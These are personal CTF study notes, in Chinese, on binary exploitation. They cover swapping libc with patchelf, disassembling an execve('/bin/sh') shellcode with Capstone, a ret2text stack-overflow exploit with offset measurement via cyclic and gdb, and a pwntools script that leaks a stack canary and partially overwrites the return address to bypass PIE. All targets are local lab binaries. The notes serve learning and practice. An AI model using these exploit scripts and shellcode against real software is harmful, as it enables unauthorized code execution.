换库

strings libc.so.6 | grep 'ubuntu'

#Ubuntu GLIBC 2.35-0ubuntu3.8
#Ubuntu GLIBC 2.23-0ubuntu11.3
./download 2.23-0ubuntu11.3_amd64
patchelf --set-interpreter /home/zechariah/glibc-all-in-one/libs/2.35-0ubuntu3.9_amd64/ld-linux-x86-64.so.2 filename
patchelf --replace-needed libc.so.6 ./libc.so.6 filename

Capstone字节码转汇编代码

from capstone import *

shellcode_x86 = b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode_x86 += b"\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode_x86 += b"\x0b\xcd\x80"

md = Cs(CS_ARCH_X86, CS_MODE_32)
for i in md.disasm(shellcode_x86, 0x00):
print("0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str))
md = Cs(CS_ARCH_X86, CS_MODE_32): 初始化类,给两个参数(硬件架构和硬件模式)
for i in md.disasm(shellcode, 0x00): disasm 反汇编这段HEX, 它的参数是shellcode和起始地址。
print(“0x%x:\t%s\t%s” %(i.address, i.mnemonic, i.op_str)):打印地址和操作数。

测量变量溢出长度(cyclic)

初试

checksec,32位
Pasted image 20250122123732
拖入IDA
Pasted image 20250122123854
容易引起栈溢出的函数gets
Pasted image 20250122123840
找到后门函数
Pasted image 20250122124119
地址为0x804863A
Pasted image 20250122123911
完成如下exp:

from pwn import *
p=process("./ret2text")
offset=104
addr = 0x804863A
payload=b'a'* offset + p32(addr)
p.sendline(payload)
p.interactive()

Pasted image 20250122124958
打不通

手动测量变量溢出长度

猜测也许是IDA中的变量溢出长度是错误的
于是我们手动测量

工具cyclic生成字符串

cyclic 200生成一个长度为200的字符串
Pasted image 20250122130556

gdb调试

Pasted image 20250122130859
据此可知最先溢出的部分是0x62616164

查找填充空栈所需量

cyclic -l 0x62616164
Pasted image 20250122131009
实际上的offset是112
修改exp如下:

from pwn import *
p=process("./ret2text")
offset=112
addr = 0x804863A
payload=b'a'* offset + p32(addr)
p.sendline(payload)
p.interactive()

Pasted image 20250122125055
成功getshell!!!!!

(绕过PIE保护)Partial overwrite

栈上的partial overwrite

我们知道,在程序开启了PIE保护时(PIEenabled)高位的地址会发生随机化,但低位的偏移是始终固定的,也就是说如果我们能更改低位的偏移,就可以在一定程度上控制程序的执行流,绕过PIE保护

partial overwrite不仅仅可以用在栈上,同样可以用在其它随机化的场景。比如堆的随机化,由于堆起始地址低字节一定是0x00,也可以通过覆盖低位来控制堆上的偏移。

示例

无法拿到附件,本例未经过本人复现,仅摘录

Pasted image 20250217212716
Pasted image 20250217212727
Pasted image 20250217212740
Pasted image 20250217212923

from pwn import *
# context.log_level = "debug"
context.terminal = ["deepin-terminal", "-x", "sh", "-c"]

while True:
try:
io = process("./babypie", timeout = 1)

# gdb.attach(io)
io.sendafter(b":\n", b'a' * (0x30 - 0x8 + 1))
io.recvuntil(b'a' * (0x30 - 0x8 + 1))
canary = b'\0' + io.recvn(7)
success(canary.encode('hex'))

# gdb.attach(io)
io.sendafter(b":\n", b'a' * (0x30 - 0x8) + canary + b'bbbbbbbb' + b'\x3E\x0A')

io.interactive()
except Exception as e:
io.close()
print (e)